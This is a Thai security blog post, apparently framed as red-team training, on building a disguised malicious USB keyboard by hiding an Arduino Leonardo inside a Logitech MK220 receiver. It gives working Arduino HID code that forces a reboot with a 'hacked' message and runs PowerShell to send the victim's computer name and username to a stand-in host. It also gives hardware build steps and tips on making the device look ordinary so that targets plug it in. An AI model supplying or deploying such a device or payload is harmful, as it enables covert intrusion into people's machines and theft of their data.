
ทำ Rogue Device เพื่อแทรกซึมเข้าสู่ระบบเครือข่ายเป้าหมาย
Incognito Lab
ถ้าพูดถึงการแทรกซึม (Infiltrate) หลาย ๆ คนน่าจะเคยได้ยินมาบ้างจากหนังสงครามหรือหนังแนวสายลับ ในทาง Cybersecurity เองก็มีการใช้คำนี้ด้วยเช่นกัน ไม่ว่าจะเป็นการส่ง Spear Phishing โจมตีเป้าหมายแบบเฉพาะเจาะจง การเล่นงาน Vendor หรือ Service Provider ที่ทำงานให้กับองค์กรเป้าหมายเพื่อแทรกซึมอย่างแนบเนียน
ทำไมถึงทำ Rogue Device
สำหรับ Methodology ในการทำ Cyber Drill (ถ้าใครเคยเจอคำว่า Cyber Exercise, Red Teaming, หรือ Adversary Simulation คำเหล่านี้สามารถใช้ทดแทนกันได้) มีหลากหลายแล้วแต่เราจะเลือกใช้แบบไหน เพื่อ Context อะไร แต่ในบทความนี้เราขออ้างอิงถึง ATT&CK (Adversarial Tactics Techniques and Common Knowledge) ของ MITRE ที่เป็น Framework แสดงให้เห็น Matrix ของ Tactics และ Techniques ที่ผู้โจมตีเลือกใช้ในแต่ละขั้นตอนของการโจมตี หากต้องการดูรายละเอียด ATT&CK เพิ่มเติมให้ไปดูต่อได้ที่ https://attack.mitre.org/

Rogue Device
Column แสดงถึง Tactics (ยุทธวิธี) ส่วน Row แสดงถึง Techniques ที่สามารถเลือกใช้เพื่อบรรลุ Tactics นั้น ๆ
Hardware Additions คือเทคนิคที่ทำการดัดแปลงหรือใช้ Hardware ในการแทรกซึมเข้าสู่องค์กรเป้าหมายใน Step ของ Tactic: Initial Access สาเหตุที่เลือกใช้ Rogue Device เพราะมันมีความเป็นไปได้สูงที่คนที่ได้รับอุปกรณ์ที่ใช้งานได้ จะเอาไปใช้ต่อจริง ๆ ไม่ว่าจะเป็นการใช้งานในที่ทำงานหรือที่บ้าน การไปแจก USB Flash Drive แล้วหวังว่าจะมีคนจิ้มใช้งานหลาย ๆ คน ในปัจจุบันองค์กรแต่ละแห่งตื่นตัวเรื่องดังกล่าวมาหลายปีแล้ว การแจก Flash Drive น่าจะไม่ Work และทำอะไรกับองค์กรเหล่านั้นไม่ค่อยได้ผล
วิธีการทำ Rogue Device
Rogue Device ที่จะทำขึ้นนั้นเราจะดัดแปลงอุปกรณ์ Mouse/Keyboard ที่ใช้งานกันทั่วไปให้มันมีวัตถุประสงค์ในการโจมตีแทนที่จะเป็นอุปกรณ์แบบปกติ หากเราไม่อยากยุ่งเรื่อง Hardware ด้วยตัวเองและมีงบมากพอ เราอาจหาซื้อแบบสำเร็จรูปมาใช้เลยก็ได้ เช่นอุปกรณ์แนว USB Rubber Ducky แต่งานนี้เราต้องทำขึ้นมาหลายตัวและต้องส่งไปหาเป้าหมายหลาย ๆ คนด้วย การแจกอุปกรณ์แนว USB Rubber Ducky ที่มีราคาสูงและดูคล้าย ๆ USB Flash Drive แล้วหวังผลจากการแทรกซึมน่าจะยากถ้าเจอกับพวกที่มี Security Awareness ดี ๆ เราจึงต้องทำ Rogue Device ขึ้นมาเองและทำให้เนี๊ยบขึ้นด้วยการใช้ Arduino

Rogue Device
ซ้ายมือ — DigiSpark, ตรงกลาง — Arduino Beetle เมื่อเทียบกับเหรียญ 1 บาท
เราใช้ Arduino ขนาดเล็ก เพื่อดัดแปลงเป็นตัว Receiver ให้กับอุปกรณ์ Mouse/Keyboard ดังนั้น Software ที่จะใส่เข้าไปใน Arduino จะเลือกใช้ให้มันทำงานแบบ Malicious Keyboard ทำตามที่เราต้องการหลังจากที่เหยื่อนำไปเสียบที่เครื่องของตัวเองผ่าน USB Port ซึ่งจะทำงานแบบเดียวกับ USB Rubber Ducky ด้วยราคาที่ถูกกว่า ขนาดที่เล็กกว่า และด้วย Features ที่น้อยกว่าแต่เพียงพอสำหรับงานนี้ ก่อนอื่นให้ไป Download Arduino IDE และทำการ Install ให้เรียบร้อย

Rogue Device
Download ได้ที่ https://www.arduino.cc/en/Main/Software
จากนั้น Run โปรแกรม จะพบว่า มี IDE ให้เราเขียน Code ซึ่งจะมี 2 methods รายละเอียดก็ตาม comment เลยก็คือ setup() จะทำงานทีเดียว ส่วน loop() จะทำงานเป็นรอบ ๆ แบบ loop ตลอดไป

Rogue Device
Code ตั้งต้นของ Arduino
วิธีการเขียน Code** ให้ **Arduino
สำหรับการเขียน Code ใช้งานกับ Arduino นั้น ทุกคนสามารถไปหาอ่านเอาเองได้ แต่ในงานนี้ที่เราจะทำ Malicious Keyboard ผ่าน Arduino HID Attack นั้นเราสามารถดัดแปลง Code จาก USB Rubber Ducky ได้เลย ใน Internet เราจะพบ Resource หลายที่เช่น
- ตัวอย่าง USB Rubber Ducky Payload https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
- Convert USB Rubber Ducky Payload ไปเป็น Arduino Code (มีหลาย links) http://roothaxor.gitlab.io/ducky2arduino/ https://d4n5h.github.io/Duckuino/
วิธีทำก็แค่หา Payload ที่สนใจนำไป Convert เป็น Arduino Code จากนั้นเปลี่ยนแปลงตามต้องการอีกนิดหน่อยก็เรียบร้อย ซึ่งจะขอข้ามขั้นตอนนั้นไปเลยและจะขอเอาตัวอย่าง Arduino Code ให้เอาไปใช้กัน
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(5000);
Keyboard.press(KEYLEFTGUI);
delay(1000);
Keyboard.press('r');
delay(500);
Keyboard.releaseAll();
delay(1000);
Keyboard.print("shutdown -c Youhavebeenhacked!!! -r -t 120");
delay(500);
Keyboard.press(KEYRETURN);
delay(1000);
Keyboard.press(KEYLEFTGUI);
delay(1000);
Keyboard.press('r');
delay(500);
Keyboard.releaseAll();
delay(1000);
Keyboard.print("powershell -w 1 -command start iexplore https://example.com/log.php?record=$env:computername+'\\'+$env:username");
delay(500);
Keyboard.press(KEYRETURN);
delay(1000);
Keyboard.releaseAll();
delay(1000);
Keyboard.end();
}
void loop(){}
จาก Code ด้านบน มีการใช้ชุด functions ของ keyboard จึงต้อง include Keyboard.h เข้ามา จากนั้นทำการสั่งให้กดปุ่ม Window + r และสั่ง shutdown เครื่องภายใน 2 นาที จากนั้นสั่งให้กด Window + r พร้อมเรียกใช้ PowerShell เพื่อเก็บ Logs ชื่อผู้ใช้งานและชื่อเครื่องของคนที่นำ Malicious Keyboard ไปใช้ ส่วนอื่นที่เห็นจะเป็นคำสั่ง Delay เพื่อให้ทำงานได้อย่างถูกต้องไม่เร็วเกินไปจนมันทำงานผิดพลาด หรือช้าไปจนผู้ใช้ดึงทิ้งซะก่อน
ต่อไปให้เอา Code วางใน IDE จากนั้นเสียบ Arduino จะพบว่าพร้อมทำงาน

Rogue Device
ไฟกระพริบแสดงถึงความพร้อมในการ Upload Code ให้กับ Arduino ส่วน D-Link ที่เห็นเป็น Dongle เสียบกับ Port USB ก่อนเพื่อป้องกันไม่ให้ Port USB ของเครื่องถูกใช้งานหนักเกินไป (ระหว่างการทดสอบหากมีการแก้ code และทดสอบบ่อย ๆ ต้องมีการเสียบ Arduino เข้า-ออกหลายครั้ง)
ไปดูที่ IDE ว่า setting เรียบร้อยแล้วหรือไม่ โดยต้องเลือกประเภทของ Arduino ที่ใช้

Rogue Device
ใช้ Beetle/Leonardo ก็ต้องมาตั้งค่าที่นี่ให้ตรงกับรุ่นที่เราใช้
จากนั้นดูว่าเครื่องของเรามี Port ที่เชื่อมต่อกับ Arduino เรียบร้อย::content-image{imgSrc="images/blogs/rogue-device/image-6.png" alt="Rogue Device"} ::
Tools->Port ให้เลือก Leonardo เพื่อเลือก Port ที่จะใช้งาน
ที่มุมซ้ายบน Click "Verify"

Rogue Device
ถ้าไม่ติดปัญหาอะไรจะแสดงให้เห็นว่าใช้ Storage และ Memory ไปขนาดไหน
จากนั้นให้ click Upload (ปุ่มขวามือถัดจาก Verify) ตามลำดับ ถ้า Upload สำเร็จ จะแสดงข้อความ "Done Uploading" หลังจากนั้นเราลองนำ Arduino ไปทดสอบเสียบที่เครื่องเป้าหมายที่ใช้ MS Window จะพบว่าทำงานตามที่เราต้องการแล้ว

Rogue Device
การเสียบ Arduino รอบแรกอาจจะเกิดปัญหาเรื่อง Driver แต่การเสียบรอบสองมันจะทำงานได้ ซึ่งไม่มีปัญหากับการโจมตีเพราะเหยื่อย่อมพยายามอยากใช้งานให้ได้
จบในส่วนของ Software แล้ว สำหรับส่วนของ Hardware นั้นสุดยอด Maker ของเรา คุณขวัญชัย จะมาแนะนำขั้นตอนการแปลงร่าง Arduino ให้กลายมาเป็น Malicious Keyboard กันครับ
ขั้นตอนการทำ
ขั้นตอนการสร้าง Malicious Keyboard ในส่วนของ USB RF-Receiver นั้น ความสำคัญอยู่ที่ตัว USB RF-Receiver ที่ผลิตออกมา ต้องไม่แปลกตาจนเกินไป เพราะจะทำให้เหยื่อลังเลที่จะเสียบใช้งานดังนั้นเราจึงต้องใช้หลักจิตวิทยาเล็กน้อย โดยการเลือกยี่ห้อของ Keyboard ที่พบเห็นได้ทั่วไปในตลาด ด้วยเหตุผลข้างต้น เราจึงเลือกใช้ Keyboard ยี่ห้อ Logitech รุ่น MK220 เนื่องจากมี USB RF-Receiver ขนาดใหญ่ ซึ่งปัจจุบันหาได้ยากแล้ว ที่สามารถนำแผ่นวงจร Arduino แบบดัดแปลงแล้วมาซ่อนเอาไว้ภายในโดยไม่ยากเกินไปนัก

Rogue Device
หน้าตาของชุด Mouse/Keyboard รุ่นที่เลือกมาดัดแปลง

Rogue Device
USB RF Receiver ของ Logitech MK220
อาจมีคำถามว่าทำไมยังมี Wireless Keyboard ที่ยังมีตัว USB RF-Receiver ขนาดใหญ่ขนาดนี้หลงเหลืออยู่ เป็นของเก่าตกรุ่นไปหลายปีแล้วใช่หรือไม่ คำตอบนั้นอาจเพราะเป็นความโชคดีของเราอยู่ส่วนหนึ่งที่ Logitech ผลิต Wireless Keyboard รุ่นนี้ออกมาให้มี USB RF-Receiver ขนาดใหญ่ เพื่อให้สามารถรับสัญญาญ RF ได้ไกลขึ้น ซึ่งส่วนที่ขยายใหญ่ขึ้นมานั้นเป็นส่วนของสายอากาศ (Antenna) ที่เพิ่มขึ้นมานั่นเอง
เมื่อเราหา Wireless Keyboard รุ่นที่เหมาะสมได้แล้ว ต่อมาเราจะมาหาแผ่นวงจร Arduino ที่จะเอามาทำ Malicious Device โดยทั่วไปก็หาในเว็บไซต์ EBAY นั่นเอง โดยใช้ Keyword ทั่ว ๆ ไปว่า "Arduino Tiny Board" ซึ่งผลการค้นหาจะมีให้เลือกหลายรุ่น โดยรุ่นที่น่าสนใจคือ DigiSpark ที่ใช้ชิปของ Atmel Attiny85 ซึ่งมี Flash Rom ขนาด 6k ให้ใช้ซึ่งเพียงพอกับการใช้งานแล้ว แต่พบปัญหาว่าการวาง Layout ของ Component ต่าง ๆ บน Board ไม่สามารถลดขนาดได้มากกว่านี้แล้ว จึงต้องหาใหม่

Rogue Device
DigiSpark Attiny85 และ Layout ของ Component ที่มีปัญหา
รุ่นที่พิจารณาถัดมาเป็นของ CJMCU Arduino Leonardo ใช้ชิป Atmega32u4 ซึ่งมี Flash Rom ขนาด 28K ให้ใช้ และมีการวาง Layout ของ Component ได้ดีมากจึงสามารถลดขนาดได้โดยการตัด Expansion Terminal ที่เอาไว้เชื่อมกับ Shield ออกไป ตามแนวรอยประซึ่งเมื่อสังเกตแนวลายวงจรแล้วสามารถตัดทิ้งออกไปได้โดยไม่มีผลกระทบกับแผ่นวงจรและมีขนาดพอดีกับ USB RF-Receiver ของ Logitech

Rogue Device
CJMCU Arduino Leonardo ที่ใช้ชิป Atmega32u8 และแนวการตัด
ส่วนการตัดจะใช้ใบตัดรอบสูง เพื่อให้รอยตัดแม่นยำกว่าการใช้ใบเลื่อยปกติ แต่ฝุ่นมันจะฟุ้ง ๆ หน่อย

Rogue Device
ขั้นตอนการตัดส่วนที่ไม่จำเป็นออก
หลังจากนั้นให้ทำการบัดกรีเชื่อม USB Connector และสับเปลี่ยนกับ USB RF-Receiver เป็นอันเสร็จพร้อมแจก

Rogue Device
Malicious USB ก่อน และหลังสับเปลี่ยน โดยรูปขวาคือ USB RF-Receiver ตัวจริงที่ถอดสลับแล้ว
อุปกรณ์ทั้งหมดที่ใช้สามารถสั่งซื้อผ่าน Online และบางส่วนหาซื้อจากแหล่งเครื่องมืออิเล็กทรอนิกส์แถวบ้านหม้อเป็นหลักซึ่ง Maker ทั่วไปสามารถทำได้ครับ

Rogue Device
บทความนี้ต้องยกเครดิตให้กับคุณขวัญชัย ประจวบกลาง ที่ได้มาเป็น Guest Writer ให้กับเราและเป็นผู้ออกแบบงานและสร้าง Prototype ในส่วนของ Rogue Device: Malicious Keyboard ครับ
Up Next

ARTICLES
Mar
03
2021
Secure Code Warrior
วันก่อนเจอ Tweet ที่คุณ Troy Hunt เจ้าของ haveibeenpwned ได้ share มาเกี่ยวกับ paper อันนึงที่น่าสนใจมาก
READ MORE

ARTICLES
Mar
03
2021
หลักแห่งการออกแบบระบบอย่างมั่นคงปลอดภัย (Secure Design Principles)
ธนาคารรายใหญ่มีกฎระเบียบข้อบังคับในการคัดเลือกผู้ให้บริการหลายข้อ ทั้งในแง่ขีดความสามารถและความมั่นคงทางการเงินของบริษัท แต่เมื่อมีการจัดซื้อจัดจ้างผลิตภัณฑ์หรือบริการไปแล้ว
READ MORE

ARTICLES
Mar
02
2021
ทำความรู้จักกับ Application Sandboxing บน Mobile Platform
เมื่อพูดถึงกลไกการรักษาความปลอดภัยของ Smartphone ในปัจจุบัน ไม่ว่าจะ iOS, Android หรือ Windows Phone ล้วนมีกลไกการรักษาความปลอดภัยพื้นฐานมาอยู่แล้วซึ่งช่วยให้ผู้ใช้งานทั่วไปสามารถใช้งาน Smartphone ได้อย่างมั่นคงปลอดภัยในระดับหนึ่ง
READ MORE